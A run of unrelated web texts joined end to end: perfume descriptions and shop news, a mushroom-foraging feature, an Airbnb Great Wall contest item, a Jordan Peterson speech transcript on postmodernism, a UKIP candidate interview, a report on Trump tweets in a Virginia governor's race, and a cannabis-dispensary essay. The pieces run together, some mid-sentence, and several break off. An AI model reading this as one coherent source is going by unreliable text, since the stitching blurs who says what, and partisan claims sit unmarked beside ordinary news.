The result is a unique take on a winter scent inspired by heavy snows and desolate rural regions. On cold sniff and initial application a creamy peppermint note is detectable as a top note, though it is a careful addition that takes a backseat to the other notes as it wears on the skin, ultimately receding entirely. There is just enough peppermint to enhance the coolness of this plushly white blend. The other notes swirl together to evoke not only a snow covered landscape that may only be traversed with snowshoes and a pioneer spirit, but the calm and intense silence after a snow deep in the wild.Nestled in a mountain vale lies a small, quaint community with rustic buildings housing friendly, hardworking people. A special delight during the harsh and demanding winter season is the Sugarvale Candy Kitchen in the middle of town. Smoke billows profusely from the chimney of the confectioner's cabin. Aromas of candied pecans, butterscotch, buttered rum, brown sugar, maple syrup, hot pralines and milk chocolate cocoa fills the air across town, beckoning the inhabitants inside to warm cold bodies and empty tummy's alike.On initial application and cold sniff, candied pecans emerge from the mouthwatering golden notes mentioned above. The pecans subside leaving the butterscotch, buttered rum, maple and brown sugar sweetening your skin with just a hint of hot pralines. The milk chocolate hot cocoa is not readily detectable but the chocolate note helps to round out the blend from being too sweet, though this mix is toothsome and very warm and delicious!Tart plump sugared cranberries with a whimsical wisp of spice in the background and festive green Spruce Essential Oil combine to bring a very wintery holiday blend to you this year. A unique fragrance to enhance your Winter Season. Smells like a coniferous cranberry juice!Winslow's Christmas Tree Farm sits at the base of Mount Willow in the town of Foxcroft. The annual winter crafts festival at Winslow's offers handmade bayberry candles, rustic wreaths, orange pomanders and much more. Meandering down the lane leading into Winslow's, you pass rows upon rows of fragrant Christmas trees ready for harvest.Winslow's is the scent of winter. Fir, woods, bayberry and mistletoe meld with spicy clove and blood orange essential oil and the result smells effectively like bottled winter. Winslow's contains fir absolute and essential oil, spruce EO, cedar, a touch of guaiacwood and a blend of several fragrance oils in addition to the bayberry, mistletoe, clove and blood orange. If you enjoy evergreen and/or woods scents make sure to try Winslow's. The combination of bayberry and cloveThe last of our Master Bedroom perfume oil is currently on our site. This perfume is no longer available in sample format. We can no longer source one of the important notes in this fragrance and there are only about 5 bottles left. I expect these will sell well ahead of the Winter Collection release. Maine Moon, Shadows in the Night, Whispers in the Night and Fires in the Night will be on hiatus for a while due to low sales. There are a couple of bottles of Maine Moon left on our site at present. In early 2017 we will be taking away a few more of our lower sellers and retiring them for a bit in an effort to make room for new perfumes to join our catalog.Pretty Indulgent in Canada will be carrying our winter perfume oils, select 5 ml general catalog perfumes and a few of the 2.5 ml EDP sample sprays. These items will be listed on their site in the next few weeks. If you have any requests of what you'd like to see available, please let her know! https://www.facebook.com/Pretty-Indulgent-167324353288981/?fref=tswill be carrying our winter 60 ml EDPs and perfumes. If you're an international customer interested in 60 ml EDPs, this is where you will go to purchase them as we do not ship the 60 mls internationally. She has a few bottles of Master Bedroom and Maine Moon 5 ml perfumes left.has listed our fall collection and the winter collection will be on their site in a few weeks. They also currently have perfumes that we do not have in stock: Cameo, Chiffon, Blossom Jam Teacakes (all from our spring line), Rose Leather and Vanilla Pipe Tobacco. They have a few bottles of Master Bedroom 5 ml left. Solstice Scents WINTER COLLECTION RELEASE 12.9.16 at 6 pm EST Page 1 of 1
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midst the relict frontier homes and horse-drawn carriages of a Saturday afternoon in Woodside, it was easy to spot the ground-watchers I’d come to find. Heads down, baskets under their arms, they paced slowly across the hillside adjacent to the street, happily oblivious to the surrounding clatter of horse hoofs.
I parked at the side of the road and wandered up a hill just in time to catch Chris Schoenstein stepping down from a ladder leaned against the burl of an ancient oak, holding aloft an unusual prize: a lion’s mane mushroom (Hericium erinaceus), its bouncing white tentacles flowed over his hand. “What a primo beauty!” Schoenstein said.
Nearby foragers rushed into a huddle to examine the find. “It looks like an albino hedgehog!” said Schoenstein’s son. Mushroom hunters accustomed to common cap-and-stalk mushrooms passed the lion’s mane around, some gently combing the swaying tentacles against their cheek.
Served in French dishes under the alias pom pom du blanc, lion’s mane has a texture and taste resembling lobster or shrimp. Schoenstein, a lifelong enthusiast and member of the Mycological Society of San Francisco, has only seen one 2 or 3 times. But that, if you’re a mushroom hunter, is the hook that keeps you coming back to an event like the Wunderlich Foray, a daylong excursion into the Wunderlich Park in search of the rare, the unusual, and the mycological. For mushroom hunters in the Bay Area, the winter season after the fall rains is peak foraging time, and to find a good mushroom requires patience, practice, and a deep understanding of the natural world. Combine them successfully, like Schoenstein, and you get a prize to exhibit at the annual fungus fair in Golden Gate Park.
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his year was Schoenstein’s fourth year leading the Wunderlich Foray. In good years – and the lack of rain means this year was not one of them—he says he has found 40 to 50 different species of mushrooms, with whimsical names such as hideous gomphidius, candy caps, pine spikes, and fat jacks.
The Wunderlich Foray was one of four early-December forays in San Mateo County to collect mushrooms for the MSSF Fungus Fair. The mushroom hunters walked the Wunderlich forest trails separately, heads down, fanned out like hunters beating the bush for rabbits. They probed the duff litter with walking sticks, flicking and overturning leaves to look for mushrumps, indicators of a protruding mushroom. For a long distance leaf flipping turned up only little brown mushrooms– nothing nearly as glorious as the lion’s mane. A rhythm descended on the mushroom hunt: the click of walking sticks, the crunch of leaves, and the disappointed sigh accompanying the identification of yet another cap-and-stalk button mushroom. But after about half an hour, Schoenstein called everyone to attention again: “Hey! You’ll like this, come look”!
Foragers scattered among the trail’s switchbacks or persistently searching the trail’s beginning now raced to find a shortcut up the steep slopes of the redwood-needle-covered mud. They regrouped and huddled around an old California bay tree, where Schoenstein stood with finger outstretched in the direction of an artist’s conk (Ganoderma applanatum) wedged in the bark, moisture dripping from the shaded underside.
The artist’s conk mushroom grows into a series of steps with concentric circles like ripples emanating from the heartwood. Schoenstein said he estimated the mushroom to be six years old, with each quarter inch ring equal to approximately a year of growth, like the growth rings of a tree. The hard mushroom is one of a few perennial mushrooms and Schoenstein urged us not to pick it.
Between the artist conk sighting and the lion’s mane, though, it had been pretty slim pickings. Baskets were empty. And while the fungus fair we’re collecting for is arranged to occur every year after the first rains of winter, when flushes of mushrooms appear overnight, Schoenstein said the big rain just before our walk had come too late for a good return.
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own the road at Huddart Park, the hunting had also been slow, and a caravan of foragers that departed Wunderlich in hopes of finding wetter lands arrived at Huddart just in time to catch a review of the day’s finds.
Wade Leschyn, a past president of the MSSF, reached into the bed of his truck to unwrap a box, and carefully pulled out an olive-orange colored mushroom called the western jack-o’-lantern (Omphalotus olivascens). It’s a poisonous mushroom, though not usually fatal, with a superficial resemblance to a chanterelle, a cooking delicacy. Beginners have made the mistake, but it’s not too hard to tell them apart, Leschyn said, and he pulled a knife from his pocket and placed the blade between the gills of the mushroom. The blade’s tip disappeared between the orange gills, up to half a centimeter up the blade: proof, Leschyn said, that this mushroom was a western jack-o’-lantern. Chanterelles have shallow gills, reaching a millimeter depth at most, so a blade’s tip would have nowhere to hide.
Carelessness can have serious consequences, Leschyn said, and beginners should always take the time to study field guides and accompany experts on forays until they are comfortable with identification.
The early-December forays were open to the public, but only under Leschyn and Schoenstein’s collecting permits. Mushroom collecting is otherwise forbidden in most Bay Area parks and is only allowed, by permit, in demonstration forests such as Boggs Mountain or Soquel, and state parks such as Salt Point and Samuel P. Taylor.
When asked about the rules, Leschyn carefully placed the jack-o’-lantern back into his truck, closed the tailgate, and leaned against it with his arms crossed. While he said he understood that there’s potential for overharvesting, the regulations, he said, are preemptively causing greater harm. “The restriction reinforces the separation of our society from the natural environment,” he said. “We should use our environment and not have to act like trespassers on our public lands.”
While there’s a concern that foraging for mushrooms affects fungi populations, picking a mushroom isn’t necessarily a bad thing for the fungus. Mushrooms are actually only the tip of an iceberg, the fruits above a subterranean network of mycelium. Leschyn compared harvesting mushrooms to picking an apple off a tree. “You wouldn’t think twice about plucking the fruit,” he said, “or wonder whether the same tree would appear next season simply because you picked its falling fruits.”
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ecause the body of the fungus lays invisible underground, where and when any given mushroom will appear is largely unpredictable. Scientists and hunters have yet to completely unravel the basic patterns of mushroom habits. But most follow seasons and prefer a particular tree, and once you’ve discovered a good patch, the same patch will likely return the next year.
This ephemeral quality, Leschyn said, reminds him of Brigadoon, a 1940s musical about a Scottish town that appears once every 100 years and disappears overnight. A fresh mushroom appears only for a few days after a rain, and if the devoted mushroom hunter fails to find it in the nick of time, the mushroom withers and returns to the ground as a rotting mush. In Brigadoon, the hero finds the town again only by demonstrating timely true love; in finding the most alluring mushrooms, timing is everything — and the outsider who wants to fill a pickup truck with fanciful mushrooms for the fungus fair must show true love for the craft.
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he fruits of that devotion went on display the day after the forays at the MSSF Annual Fungus Fair in Golden Gate Park. Nearly 200 species from all over Northern California were meticulously labeled and spread over pine-needle-covered tables, an earthly gallery of various shapes, colors, and smells.
At the mushroom displays, the same collectors from the previous day were standing behind a curious crowd, straining to quickly capture the history of a centuries old, worldly mushroom allure and their fascination with a strange, underground kingdom. Ethan Miller, a student in Tom Bruns’s mushroom identification class at UC Berkeley, said he finds himself attracted to the optical illusions inherent in finding little mushrooms. “Walking down Sunset Drive in the fog belt of San Francisco, I find myself side-eyeing every pile of woodchips,” Miller said, “but once I get on my hands and knees, mushrooms start popping out and I head in the right direction.”
Part of the allure is also in the wide use of mushrooms. They don’t just serve as food; the Bay Area Radical Mycology group uses fungi to restore degraded habitats, a practice known as mycorestoration, by using a living fungus to filter fecal bacteria of cattle from drinking water, and spores to inoculate fallen trees to speed decomposition and limit fire fuel load.
The California Native Plant Society uses the same toxic chemicals that cause inedibility in lichens and mushrooms to dye fabrics including wool, silk, and cotton by placing the poisonous lichen or mushroom in simmering water. The jack-o’-lantern, the common bane of the amateur, can color wool and silk a deep purple without risk of poisoning.
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t wasn’t a great weekend for mushroom foraging. But foraging, fortunately, isn’t the only way to get your mushroom fix. As I left the Fungus Fair at the end of the day, I found a $5 donation station that offered “inoculated mushroom bags” of “mother spawn”: mycelium, grown from spores and barley, that lets you grown your own edible mushrooms at home. Once the oyster, shiitake and matsutake mushrooms start, you can even tear off a piece of the original mother spawn and share it – a practice more reliable, if less active, than hunting in the park.
Issuing an official statement, Airbnb said that while it was excited to promote Chinese cultural heritage, it “deeply respect[s] the feedback we have received.” The statement added that “we have made the decision to not move forward with this event,” and is instead working on a number of alternative initiatives to showcase China as a tourist destination.
The original competition would have been the first of its kind, creating an overnight experience accommodated in a custom-designed home situated along the ancient portion of the wall. At sunset, guests would have enjoyed a multi-course gourmet dinner inspired by various elements of Chinese culture along with traditional Chinese music. The next morning, travelers would have embarked on a sunrise hike throughout the countryside where they would learn about the Great Wall from historians.
To enter, entrants were asked to explain, “Why is it more important now than ever to break down barriers between cultures? How would you want to build new connections?”
According to a statement by Airbnb, the point of the contest was to showcase the Great Wall to the world and promote sustainable tourism to China by spotlighting wide ranging efforts to preserve the Wall’s deep heritage and bring Chinese culture to life, as the structure is labeled as one of the greatest architectural feats in human history.
In related news, Airbnb is planning to start luxury mansion and penthouse rentals.
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Professor Jordan Peterson of the University of Toronto explains why young people need to organize and rise up against nihilistic postmodernism. The full video and event details are below the transcript:
read Stephen Hicks Explaining Postmodernism: He made it available in pdf form here: https://t.co/I7LcPki6qF — Jordan B Peterson (@jordanbpeterson) June 4, 2017
JORDAN PETERSON: I want to recommend a book first to everyone here: It is called Explaining Postmodernism by Stephen Hicks. You need to understand postmodernism, because that's what you're up against. You're up against it far more than you know or think, and it's a much more well-developed and pervasive, pernicious, nihilistic, intellectually attractive doctrine than has yet come to public realization. It absolutely dominates the humanities and increasingly the social sciences in the universities.
Someone once said, I can't remember, it might be Friedrich Nietzsche, he said that everybody is the 'unconscious exponent of a dead philosopher,' and fortunately the postmodern philosophers, most of them are dead, so that's a good thing, but that doesn't mean that their words aren't continually being spoken by people who are following in their wake.
It's not like any given person is absolutely possessed by the spirit of postmodernism, because often they're not educated enough to know all the details about what it is that has them in their grip, but if you get 20 of them together and they're all 5% influenced by the postmodernist ethos, you basically have the spirit of the mob. It's a mouthpiece for that particular philosophical doctrine.
And if you understand the doctrine than you understand why things are progressing the way that they are progressing.
So I'm going to tell you little bit about doctrine, because it's not optional to understand this. This is crucial to understand this, you can't underestimate the power of ideas and also of words, of course, because ideas are expressed in words.
See the postmodernists completely reject the structure of Western civilization. And I mean completely, so I can give you an example, in one term -- Jacques Derrida. He is head trickster for the postmodernist movement, and he regarded Western culture -- let's call it the patriarchy -- as phallogocentric. Phallo comes from phallus, and so that's the insistence that what you see in Western culture is the consequence of the male-dominated oppressive self-serving society.
You might say societies do tend to be self-serving, and people in power do tend to act in their best interests, but a tendency is not an absolute. That is one of the things that these people need to consider continually. There are no shortage of flaws in the manner in which we have structured our society and compared to any hypothetical utopia, it is an absolutely dismal wreck. But compared to the rest of the world, and the plight of other societies throughout the history of mankind, we're doing pretty damn well, and we should be happy to be living in society we're living in.
So the first thing that you might want to know about Postmodernism is that it doesn't have a shred of gratitude -- and there's something pathologically wrong with a person that doesn't have any gratitude, especially when they live in what so far is the best of all possible worlds. So if you're not grateful, you're driven by resentment, and resentment is the worst emotion that you can possibly experience, apart from arrogance. Arrogance, resentment, and deceit. There is an evil triad for you.
And if you're bitter about everything that's happening around you, despite the fact that you're bathed in wealth, than there is something absolutely wrong with you.
The black community in the United States is the 18th wealthiest community -- the 18th wealthiest nation on the planet.
That doesn't mean there is no such a thing as relative poverty, which matters. It is an important political economic issue, and it is very difficult to deal with. But absolute wealth matters too.
Western societies have been absolutely remarkable in their ability to generate and distribute wealth. As you can tell by just looking around, taking a brief bit of consideration for the absolute miracle that even a building like this represents.
So you have to educate yourself about postmodernism.
So here's what the postmodernists believe: They don't believe in the individual. That's the logos. Remember, Western culture is Phallogocentric. Logo is logos. That's partly the Christian word, but is also partly the root word of logic.
The world needs you. Start getting yourself together: https://t.co/kccUtf9jvy — Jordan B Peterson (@jordanbpeterson) June 4, 2017
Okay, they don't believe in logic.
They believe that logic is part of the process by which the patriarchal institutions of the West continue to dominate and to justify their dominance. They don't believe in dialogue. The root word of dialogue is logos -- again, they don't believe that people of good will can come to consensus through the exchange of ideas. They believe that that notion is part of the philosophical substructure and practices of the dominant culture.
So the reason they don't let people who they don't agree with speak on campus, is because they don't agree with letting people speak.
You see it's not part of the ethos.
Okay, so what else do they believe or not believe?
They believe that since you don't have an individual identity, your fundamental identity is group fostered, and that means that you're basically an exemplar of your race.
Hence, white privilege. Or you're an exemplar of your gender, or your sex, or your ethnicity, or you're an exemplar of however you can be classified so that you are placed in the position of a victim against the oppressor. Because that's the game, and it's a post-Marxist sleight-of-hand. Right? Before, the Marxist notion was that the world was a battleground between the bourgeoisie and the proletariat, and that failed to have any philosophical or ethical standing, that argument after the working class actually saw its standard of living massively elevated as a consequence of Western corporate democracy/Western free enterprise democracy, and also as a consequence of the revelations of everything terrible that happened and every bloody country that ever dared to make equity and the Marxist Communist dogma part of their fundamental structure -- right, nothing but murderousness and oppression, and so by the 1970s, it was evident that that gig was up.
And so the postmodernist Marxists just basically pulled a sleight-of-hand, and said, 'Okay if it's not the poor against the rich than it's the oppressed against the oppressor.' We'll just re-divide the sub-populations in ways that make our bloodied philosophy continue in its movement forward, and that's where we are now.
So for the postmodernists, the world is a Hobbesian battleground of identity groups. They do not communicate with one another, because they can't. All there is, is a struggle for power, and if you're in the predator group, which means you're an oppressor, than you better look out, because you're not exactly welcome. Not exactly welcome, and neither are your ideas. So that's what you're up against.
I would say it's time for conservatives to stop apologizing for being conservatives.
You don't apologize to these people. It's a big mistake. They read apology as an admission of guilt. You don't apologize, and you don't back down.
You young people out there who are university students, you need to take over the student unions, you need to take them back, because they are absolute snake pits, and have been since the 1990s.
With regards to the universities, I thought at one point that the best thing to do would be to cut their funding by 25% and let them fight among themselves for the remnants, because it would force universities to decide exactly what's important and what isn't.
So I would say the humanities, and much of the social sciences have turned into a postmodernist neo-Marxist playground for radicals. The scholarship is terrible.
80% of humanities papers are not cited once. Once!
And so what that means is that they write papers for each other, and they sell them to libraries, and that's a how the publishers are making money. No one reads them, but the publishers can print them and the libraries have to buy them -- And they are buying them with your tax money. And so all of you who are sitting here are funding a postmodern radical neo-Marxist agenda that has its roots in the university, and your tax money is going towards it.
And if you want proof of that. Just go online and look at the websites, especially of disciplines like 'women's studies' which is pathological right to the core. But it's not just women studies, it is all the ethnic studies groups, it is anthropology, it is sociology, social work, and most of all, it's education. And OISE, for example, in Ontario is perhaps, apart from the Ontario human rights commission, the most dangerous institution in Canada.
It should it should be defunded, it is as simple as that. They don't do the research they purport to do. They're not interested at all in education. They are interested in the indoctrination of people as young as they can get their hands on, so to speak.
Our society needs to figure out how to stop shunting public tax money to radical left-wing activists. If we were doing that for the radical right-wing activists, there would be an absolute storm, but it's happened incrementally since the 1960s and needs to stop.
So that's what conservatives and also liberals --true liberals in the English sense-- are up against me. What's happened also as a consequence of this postmodern neo-Marxist intellectual invasion, is the center keeps moving way to the right now, so if you're a classical liberal, you've become a conservative.
And so for all of you who are interested pursuing the conservative agenda. There's a lot of classic liberals that you could be talking to.
And then finally with regards to talking to young people. You finally have something to sell to them. It is not easy to sell conservatism to young people, because they want to change things. That's not what conservatives want to do, they want to maintain things. Well now you got something to sell -- you can sell them freedom of speech, and you can tell sell them responsibility.
The left is selling them rights, you can sell them responsibility.
I can tell you, because I received many letters of this sort ... young people are absolutely starving for someone to provide them with a sense of responsibility, and say look here, here's something worth living for, man.
You can find meaning in life with freedom, but freedom. Freedom is a chaotic sort of meaning, right, and freedom isn't sort of thing makes people happy. It is the sort of thing people troublesome -- troubled. Because freedom expands your series of choices, and that makes you nervous and uncertain... not to say that that's a bad thing. It's a good thing but it requires that you shoulder the responsibility of the freedom, but responsibility per se is what gives your life meaning, genuine meaning in the face of suffering.
And young people is really there starving for that. I've been teaching young people for 30 years, and mostly what I've been teaching them about is responsibility.
Like, you're heirs to a great tradition. It's not perfect. Obviously. But comparatively there's nothing else like it, that's ever been produced, and it represents a tiny minority of the human polities, most of which are are run by murderous antisocial psychopathic thugs, and seriously, and so what kind of alternative is that?
We've got this beacon of freedom and wealth in the West, which works, although it doesn't work perfectly. And one of one of the responsibilities of young people is to find out what's at the core of that, the great core of that. The paramount importance of the individual, and the divinity of speech, man. That's something to sell its what our whole culture is predicated on.
Oldham West and Royton By Election UKIP Candidate John Bickley
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OLDHAM has been a “one-party state for too long” . . . that’s the view of UKIP’s John Bickley who is on a mission to change that at the Oldham West and Royton by-election on December 3.
The ballot follows the death of long-standing Labour MP Michael Meacher who served the area for 45 years.
In an exclusive interview with the Chronicle, Mr Bickley was asked if he knew Oldham well enough to represent it — and he immediately pointed to Mr Meacher who was also not from the town.
Mr Bickley said: “Mr Meacher was the MP here for 45 years. He was a southerner.
“I’ve been accused by Labour of being parachuted in here, I’m sure Mr Meacher was parachuted in here 45 years ago but he was a southerner who lived most of his life in one of his many houses down south and the people of Oldham accepted him.
“I’m a Mancunian, I don’t think you need to have a taxi driver’s knowledge of a constituency to do a good job for constituents.
“I never expected to be standing as a parliamentary candidate but once you get involved in politics — if you’ve got the commitment — then you end up doing what I’m doing which is sticking your head above the parapet. I’m willing to do that — I think our democracy needs defending.
“We have one-party states in Oldham where there’s only been one party effectively for the last 50-60 years — the same goes for most Tory areas.
“I think it’s unhealthy if you just have a one-party state. I think it’s really important that you have competition.”
When asked about the big issues facing the people of Oldham, Mr Bickley pointed to immigration.
He said: “People are fundamentally concerned about uncontrolled immigration. Lots of people look at the things that affect them and the impact uncontrolled immigration has on school places, hospital beds, transport and housing.
“No party other than UKIP is willing to do something about controlling our borders and controlling the immigration system.
“We want an Australian type of immigration system where anyone can come here from around the world — so we’re actually very pro-immigration — but it has to be controlled rather than just allowing anyone to come here from Europe.
“Immigration was a massive issue in Heywood and Middleton and it’s an issue here.”
In an interview with the Evening Chronicle earlier this month, Mr Bickley expressed concern with the ongoing £36.7million project to transform the old town hall into a cinema.
Mr Bickley said: “I have had constituents come up to me and say I’m not very happy John that you said we don’t need a multiplex and I say do you realise you’re paying for it? You’re paying for it, this is not a free lunch, it’s coming out of your taxes.
“I was concerned about the amount of money going into this town hall renovation. Originally it was supposed to be £10million, it’s now £36million and counting.
“The reason I picked up on this is that I used to work in the film business. The film industry, in terms of cinema attendances, is in decline — they’re going down. This is not a growth industry, you don’t need to be a rocket scientist because everybody’s getting broadband and everybody’s streaming content and everybody’s buying blu-rays and DVDs.
“The jobs that we’re told the council claim they’re going to generate are going to be zero-hours contract in many cases. Jobs that will probably require tax credits. Are these the only sort of jobs the council thinks should come here? Is that the limit of their vision?
“They should be ensuring frontline services are working. That’s what a council exists for.” Approximately 8,000 families in Oldham West and Royton receive tax credits — something the Government intends to cut.
UKIP supports the cuts but wants to see them phased out rather than an immediate slice.
Mr Bickley said: “Gordon Brown and the Labour government brought in tax credits and told us that it would only cost £1billion a year, they’ve mushroomed to over £30billion a year.
“Something has to be done about it. If I come into this country from Europe and I earn £12,000 a year and have two kids I can earn another £9,000 in tax credits.
Benefits
“It’s a magnet and I don’t blame anyone wanting to come here. I would do the same. I’d be the first to come here on a bus from Eastern Europe with benefits system we have but we’re paying for it through our taxes and the working class people around here have found that their wages have been compressed through the last decade.
“Often they’ve had to compete for the jobs that have now been given to immigrants.
“We want to see tax credits realigned as the living wage comes in so the net effect it that people won’t be worse off and I have to say if you control immigration you are making more jobs available for British people.
“Tax credits are only there because employers have been able to get away with paying very low wages because the Government are picking up the tab.”
In an interview with the the Chronicle last week, Labour candidate Jim McMahon referred to Mr Bickley as a “very poor” choice.
He said: “I’ve been led to believe that Mr McMahon is quite a bright chap. If that’s the limit of his ability to engage with the opposition I think it says a lot about Mr McMahon.
“It would be quite good if he had the ability to put forward some arguments to me.”
On the wider issue of the voting system in this country, Mr Bickley pointed to May’s General Election where UKIP garnered four million votes, yet only came out with one MP.
“I think our voting system now — first past the post — is no longer fit for purpose,” he added.
“At the General Election, we got four million votes and ended up with one MP. The SNP and the Lib-Dems got a similar number of votes but 64 MPs. So that cannot be a proper reflection of democracy and we’re fighting that corner.”
Vote
Mr Bickley concluded with why he thinks the people of Oldham West and Royton should vote for him.
He said: “I would like the voters in this constituency to realise that UKIP is a party that wants to back Britain, believes in Britain, believes in control of our borders and believes our laws should be made by our parliament.
President Trump speaks to members of the media on the South Lawn of the White House on Oct. 25. (Al Drago/Bloomberg)
President Trump jumped into Virginia governor's race again Thursday, with two tweets praising Republican Ed Gillespie as being tough on crime and protective of Confederate statues and "heritage."
"Ed Gillespie will turn the really bad Virginia economy #'s around, and fast. Strong on crime, he might even save our great statues/heritage!" Trump tweeted at 10:07 a.m., an apparent reference to new Gillespie ads that call for preservation of the state's Confederate monuments.
The president is a native of New York. Gillespie grew up in New Jersey.
Four minutes later, Trump added, "Ed Gillespie will be a great Governor of Virginia. His opponent doesn't even show up to meetings/work, and will be VERY weak on crime!"
Gillespie's Democratic opponent, Ralph Northam, is a former Army doctor and pediatric neurologist who grew up on Virginia's Eastern Shore. He responded to the president's tweet with his own: "I served 8 years in the Army, took care of sick kids, and am running to build a more inclusive Virginia. Don't talk to me about showing up."
[The lure of the steady physician]
Northam later shared a video of him treating patients at a free clinic in Southwest Virginia, adding: "While I was treating patients at the RAM clinic, Donald Trump was golfing in Sterling. You tell me who doesn't show up for Virginians."
With the election just 12 days away, speculation has mounted about whether Trump would hit the campaign trail for the Republican in the nation's only competitive governor's race this year.
Gillespie has repeatedly declined to answer questions about whether he would welcome the president to a state where Trump is deeply unpopular. Virginia was the only Southern state to vote for Hillary Clinton last year.
Vice President Pence, a longtime friend of Gillespie's, appeared in Virginia this month for a rally and was the featured guest Wednesday at a private Gillespie fundraiser in Fairfax County.
The candidate has struggled to find the right posture toward Trump. He needs support from Trump voters without turning off moderate Republicans and independents.
[Can an establishment Republican win in the Trump era?]
Trump first tweeted on the race earlier this month, endorsing Gillespie and falsely claiming Northam fights for violent gangs. Gillespie was slow to acknowledge that endorsement and did not comment until reporters asked him about it the next day.
On Thursday, Gillespie quickly retweeted Trump's praise.
In doing so, they elevated the issue of Confederate monuments — one of the most emotionally charged topics in the neck-and-neck governor's race.
White nationalists rallied in Charlottesville in support of a statue of Confederate General Robert E. Lee, leading to violent clashes in August that stunned the country and left three people dead.
Trump blamed both sides for violence and lamented the "history and culture of our great country being ripped apart with the removal of our beautiful statues and monuments."
While Gillespie condemned the white nationalists, he said the statues should remain in place with additional historical context.
[Interested in Virginia’s governor’s race? Join our Facebook group]
Northam initially responded to the Charlottesville unrest by vowing to be a "vocal advocate" to move the statutes to museums. He has since backpedaled, saying the decision should be made by local jurisdictions.
Virginia, once the capital of the Confederacy, has more monuments to the losing side of the Civil War than any other state.
Polls have shown majorities of Virginians want the statues to remain, with Democrats split on the issue and Republicans united.
Other references in Trump's tweets Thursday echo claims made in Gillespie's campaign commercials.
Trump's reference to Northam failing to show up to work echoes a common Republican attack line blasting the Democrat for missing meetings of various boards and commissions he sits on as lieutenant governor.
Virginia's overall economy was hit hard during the recession because of its dependence on federal government spending and regional ties to dying industries, such as coal, textiles and tobacco.
Unemployment is now at 3.7 percent, one of the lowest in the nation, and even Republicans have credited Gov. Terry McAuliffe (D) with being an enthusiastic recruiter of new businesses.
[Virginia’s unemployment rate is only 3.7 percent, so why is the economy a big issue in the governor’s race?]
Still, the low unemployment rate masks an uneven recovery, with urban areas such as Northern Virginia and Richmond doing well while rural areas suffer.
McAuliffe, who is barred from seeking consecutive terms under the state Constitution, responded to Trump by defending the state's economy under his stewardship.
"Virginia unemployment is 3.7%. National unemployment is 4.2%. Stop tweeting and get to work," he tweeted.
In about an hour, this happened:
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But then I felt a scary shudder go through my body and brain. I barely made it from the desk to the bed, where I lay curled up in a hallucinatory state for the next eight hours....touching my green corduroy jeans and staring at the exposed-brick wall
"Not a regular marijuana smoker," she ate too much and had an intense high, i.e., exactly what should have happened.
But at least, unlike overdosing on any other kind of drugs (fatal Tylenol ODs are not uncommon), she could rest easy knowing the effects of the pot would wear off, which it did, although not as quickly as she would have liked. Instead of being chastened for her miscalculation, however, in the New York Times' op-ed page, she emerged on fire about the dangers of pot.
She railed that her candy bar should have been cut into smaller pieces for "novices" like her, and goes on to cite a chilling Reefer Madness-type scenario of a Denver man who "ate pot-infused Karma Kandy and...then retrieved a handgun from a safe and killed his wife" -- despite that cannabis is generally not associated with violence and more often with its opposite, the kind of lethargy ("couch lock") that Dowd herself described. And conveniently, she also didn't mention a possible other factor in the murder (besides Colorado's loose gun laws, see Columbine, Aurora, and Arapahoe), that the killer had also taken prescription pain meds.
Lester Grinspoon, M.D., Harvard Medical School professor emeritus and author of (among others) "Marihuana, The Forbidden Medicine" (1993), volunteered much of his time and medical expertise when I was initially considering cannabis for my son. Along the way, Dr. Grinspoon was enthusiastic about the potential for pot as a life enhancer; he also encouraged me to explore the recreational side of it, especially because it might make me more creative, like his friend Carl Sagan. Sagan was such a pothead, Grinspoon said, that he originally started his cannabis research in an attempt to warn his friend how much he was endangering his health--then pivoted the other way when he came to realized how, even as a Harvard physician, he'd been thoroughly brainwashed by unscientific anti-pot propaganda.
Thus, when on the way to an artist's residency in the wilds of Wyoming, when the tiny commuter flight I was supposed to take from Denver was cancelled, as well as the next two flights, which meant I was stuck for the duration, I caught a cab from the airport headed to Medicine Man. It's the cannabis dispensary closest to the airport, and I was curious to see what kind of stoner mayhem I'd find. As Dowd wrote, "the state is also coming to grips with the darker side of unleashing a drug as potent as marijuana on a horde of tourists." (Given that I had all my luggage with me, I must have looked particularly eager.)
The taxi dropped me off at an unassuming storefront in a suburban area. It had bars on the windows like a pawn shop and looked slightly forbidding from the outside. Medicine Man services both the medical and recreational crowd, but you need a state medical ID to enter the medicinal area. Before I could enter the dispensary at all, a cordial guard checked my ID to make sure I was over 21.
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Inside, there must have been some kind of massive air filtration system, because despite the baskets of bud, the trays of plants, there was no telltale odor; when our son's grower used to bring him his medicine, the house would smell like a pot factory hours after he left.
After getting over the novelty of what was being sold, I saw I was in merely a clean well-lit space, there was an orderly line flanked by a display of Medicine Man apparel, a window into one of their grow rooms, and a daily menu board of what was "fresh" as if at some new hipster restaurant in Brooklyn.
While in line, I chatted with the various consumers (the medical dispensary is in an entirely separate area off-limits to the retail buyers). The guy with the gray ponytail was on vacation and stopping here en route to Oklahoma. He planned to smoke nights to relax after driving. A well-dressed middle aged man said his medical license had expired, so he was using recreation mj to tide him over. Another person was a local who just like to smoke. Ahead of me, there were a bunch of jockish male college students, about the most animated of all the buyers, who'd flown in. Everyone was relaxed. I was given permission to take pictures, a few of the consumers willingly, if not happily, posed. The staff seemed very proud of what they were doing.
You waited until your name was called, and, like at a Chase Bank, you walked up to your teller. Thanks to my son, I know my way around indicas and sativas. But I was curious about the expertise of the workers and asked what I should get. I wanted an edible for the evening to relax with. My clerk had several piercings, including a dramatic septum piercing, multiple tattoos, and a grave and professional mien. The shelves were dizzyingly full of products: open baskets of bud, edibles, tinctures, capsules, as well as accessories such as vaporizers. On the menu they also had a number of quotidian products that utilize cannabis' various healing and antioxidant properties, including a shea butter massage balm that has no THC, that the clerk said was great for sore muscles. I was tempted, but saw the container was too large for TSA standards, which also reminded me that even in this friendly suburban retail outlet, cannabis was still considered to be a controlled substance by the federal government.
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When I'd asked one of the people in line about edibles versus smoking, the gray ponytailed guy explained that edibles give you a more sustained "body buzz," which makes it handy for, say, camping. It's also cheaper, as you're not literally burning up our stash. The other recreationalists mentioned that pot, smoked or not, makes food taste better, helps you enjoy music, maybe that creativity thing was true. Dr. Grinspoon also always unabashedly told me "it makes everything better, sex, you name it."
It also seems to make budget deficits better. Colorado is raking in the revenue, and I can see why. Regulated pot is expensive. Some of the candy-like edibles were the cheapest, and in a fit of nostalgia I went for a grape-flavored pixie stick. While ringing me up, my guide carefully explained the laws on using and driving, and I had to purchase a $2 sleeve that was like a Ziploc bag with a pin on it, proof of, basically, a "closed container" as well as childproofing my edible, which was packaged in a straw.
